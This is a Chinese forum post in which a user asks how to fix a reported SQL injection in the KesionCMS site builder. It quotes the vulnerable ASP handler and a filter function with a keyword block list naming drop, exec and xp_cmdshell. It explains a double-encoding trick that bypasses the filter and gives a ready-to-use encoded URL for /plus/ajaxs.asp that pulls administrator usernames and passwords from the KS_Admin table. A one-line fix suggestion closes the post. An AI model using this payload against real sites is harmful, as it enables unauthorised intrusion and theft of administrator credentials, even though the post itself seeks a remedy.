账号通
    

账号  

密码  

2220

查看

3

回复
主题:有关网上说的这个漏洞,应该怎么解决呢 [收藏主题] 转到:  
wensy_wm 当前离线

101

主题

2

广播

1

粉丝
添加关注
级别:一年级

用户积分:186 分
登录次数:100 次
注册时间:2011/3/10
最后登录:2015/8/25
wensy_wm 发表于:2012/9/13 18:25:04   | 显示全部帖子 查看该作者主题 楼主 
科汛智能建站系统
Dim KS:Set KS=New PublicClsDim ActionAction=KS.S("Action")Select Case Action Case "Ctoe" CtoE Case "GetTags" GetTags Case "GetRelativeItem" GetRelativeItem //问题函数 ...skip... Case "getonlinelist" getonlinelistEnd Select
Sub GetRelativeItem() //漏洞函数开始    Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。    Dim Rtitle:rtitle=lcase(KS.G("rtitle"))    Dim RKey:Rkey=lcase(KS.G("Rkey"))    Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))    Dim ID:ID=KS.ChkClng(KS.G("ID"))    Dim Param,RS,SQL,k,SqlStr    If Key<>"" Then      If (Rtitle="true" Or RKey="true") Then       If Rtitle="true" Then         param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。       end if       If Rkey="true" Then         If Param="" Then           Param=Param & " keywords like '%" & key & "%'"         Else           Param=Param & " or keywords like '%" & key & "%'"         End If       End If    Else       Param=Param & " keywords like '%" & key & "%'"    End If   End If           If Param<>"" Then         Param=" where InfoID<>" & id & " and (" & param & ")"    else       Param=" where InfoID<>" & id    end if         If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID          Param=Param & " and verific=1"       SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询    Set RS=Server.CreateObject("ADODB.RECORDSET")    RS.Open SqlStr,conn,1,1    If Not RS.Eof Then     SQL=RS.GetRows(-1)    End If    RS.Close



先进行了过滤,然后才调用UnEscape***,

Public Function S(Str)    S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)      Dim SplitSqlStr,SplitSqlArr,I      SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"      SplitSqlArr = Split(SplitSqlStr,"|")      For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)         If Instr(LCase(Str),SplitSqlArr(I))>0 Then            Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n      Powered By Kesion.Com!');window.close();</script>"         End if      Next      DelSql = Str    End Function



如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过***后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。

漏洞证明:

注入语句:%') union select 1,2,username+'|'+ password from KS_Admin

转换如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

修复方案:

UnEscape()函数调用位置放在函数体内,或者不调用。

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行1.09961秒 powered by KesionCMS 9.0